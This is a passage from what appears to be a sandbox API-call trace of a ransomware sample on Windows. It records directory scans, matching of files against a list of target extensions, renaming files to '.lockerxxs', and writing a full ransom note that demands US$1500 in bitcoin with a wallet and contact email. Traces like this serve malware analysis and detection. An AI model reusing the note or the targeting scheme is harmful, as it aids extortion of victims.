ftLastWriteTime.dwLowDateTime=0x2b3eb830, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.339] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-Unimodem-Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3eb830, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3eb830, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.340] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-WMI-Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3eb830, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3eb830, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.341] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Networking-MPSSVC-Svc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b411990, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b411990, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.350] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2b437af0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b437af0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.352] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\PostMigRes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.353] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\PostMigRes\\data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b437af0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b437af0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.354] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\PostMigRes\\Web\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b45dc50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b45dc50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.355] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\PostMigRes\\Web\\base_images\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b45dc50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b45dc50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.356] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b45dc50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b45dc50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.358] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\microsoft-activedirectory-webservices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b483db0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b483db0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.359] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\microsoft-international-core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b483db0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b483db0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.359] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\microsoft-windows-audio-mmecore-other\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b483db0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b483db0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.360] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\Microsoft-Windows-GameUXMig\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b483db0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b483db0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.360] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\replacementmanifests\\microsoft-windows-iis-rm\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b483db0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b483db0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.805] MoveFileA (lpExistingFileName="C:\\Windows\\Temp\\Crashpad\\settings.dat" (normalized: "c:\\windows\\temp\\crashpad\\settings.dat"), lpNewFileName="C:\\Windows\\Temp\\Crashpad\\settings.dat.lockerxxs" (normalized: "c:\\windows\\temp\\crashpad\\settings.dat.lockerxxs")) returned 1 [0165.230] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\") returned="" [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.ems") returned 0 [0165.232] lstrlenA (lpString="*.ems") returned 5 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.db") returned 0 [0165.232] lstrlenA (lpString="*.db") returned 4 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.dbf") returned 0 [0165.232] lstrlenA (lpString="*.dbf") returned 5 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.myox") returned 0 [0165.232] lstrlenA (lpString="*.myox") returned 6 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.myo") returned 0 [0165.232] lstrlenA (lpString="*.myo") returned 5 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbw") returned 0 [0165.232] lstrlenA (lpString="*.qbw") returned 5 [0165.232] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbb") returned 0 [0165.232] lstrlenA (lpString="*.qbb") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbm") returned 0 [0165.233] lstrlenA (lpString="*.qbm") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbo") returned 0 [0165.233] lstrlenA (lpString="*.qbo") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbx") returned 0 [0165.233] lstrlenA (lpString="*.qbx") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qba") returned 0 [0165.233] lstrlenA (lpString="*.qba") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qby") returned 0 [0165.233] lstrlenA (lpString="*.qby") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qbj") returned 0 [0165.233] lstrlenA (lpString="*.qbj") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.ofx") returned 0 [0165.233] lstrlenA (lpString="*.ofx") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.qif") returned 0 [0165.233] lstrlenA (lpString="*.qif") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.mye") returned 0 [0165.233] lstrlenA (lpString="*.mye") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.mbox") returned 0 [0165.233] lstrlenA (lpString="*.mbox") returned 6 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.eml") returned 0 [0165.233] lstrlenA (lpString="*.eml") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.pst") returned 0 [0165.233] lstrlenA (lpString="*.pst") returned 5 [0165.233] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.ost") returned 0 [0165.233] lstrlenA (lpString="*.ost") returned 5 [0165.234] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.idx") returned 0 [0165.234] lstrlenA (lpString="*.idx") returned 5 [0165.234] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.dbx") returned 0 [0165.234] lstrlenA (lpString="*.dbx") returned 5 [0165.234] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\InstallMembership.sql", pszSpec="*.sql") returned 1 [0165.234] lstrlenA (lpString="*.sql") returned 5 [0165.234] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\") returned="" [0165.234] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\HOW TO DECRYPT FILES.txt" [0165.234] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\how to decrypt files.txt")) returned 0xffffffff [0165.235] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.235] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.235] CloseHandle (hObject=0xffffffff) returned 0 [0165.235] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\", lpString2="UninstallMembership.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" [0165.235] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.ems") returned 0 [0165.235] lstrlenA (lpString="*.ems") returned 5 [0165.235] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.db") returned 0 [0165.235] lstrlenA (lpString="*.db") returned 4 [0165.236] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.dbf") returned 0 [0165.236] lstrlenA (lpString="*.dbf") returned 5 [0165.236] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.myox") returned 0 [0165.236] lstrlenA (lpString="*.myox") returned 6 [0165.236] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.myo") returned 0 [0165.236] lstrlenA (lpString="*.myo") returned 5 [0165.236] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbw") returned 0 [0165.237] lstrlenA (lpString="*.qbw") returned 5 [0165.237] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbb") returned 0 [0165.237] lstrlenA (lpString="*.qbb") returned 5 [0165.237] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbm") returned 0 [0165.237] lstrlenA (lpString="*.qbm") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbo") returned 0 [0165.238] lstrlenA (lpString="*.qbo") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbx") returned 0 [0165.238] lstrlenA (lpString="*.qbx") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qba") returned 0 [0165.238] lstrlenA (lpString="*.qba") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qby") returned 0 [0165.238] lstrlenA (lpString="*.qby") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qbj") returned 0 [0165.238] lstrlenA (lpString="*.qbj") returned 5 [0165.238] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.ofx") returned 0 [0165.238] lstrlenA (lpString="*.ofx") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.qif") returned 0 [0165.239] lstrlenA (lpString="*.qif") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.mye") returned 0 [0165.239] lstrlenA (lpString="*.mye") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.mbox") returned 0 [0165.239] lstrlenA (lpString="*.mbox") returned 6 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.eml") returned 0 [0165.239] lstrlenA (lpString="*.eml") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.pst") returned 0 [0165.239] lstrlenA (lpString="*.pst") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.ost") returned 0 [0165.239] lstrlenA (lpString="*.ost") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.idx") returned 0 [0165.239] lstrlenA (lpString="*.idx") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.dbx") returned 0 [0165.239] lstrlenA (lpString="*.dbx") returned 5 [0165.239] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", pszSpec="*.sql") returned 1 [0165.239] lstrlenA (lpString="*.sql") returned 5 [0165.239] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" [0165.239] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" [0165.239] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql." [0165.239] lstrcatA (in: 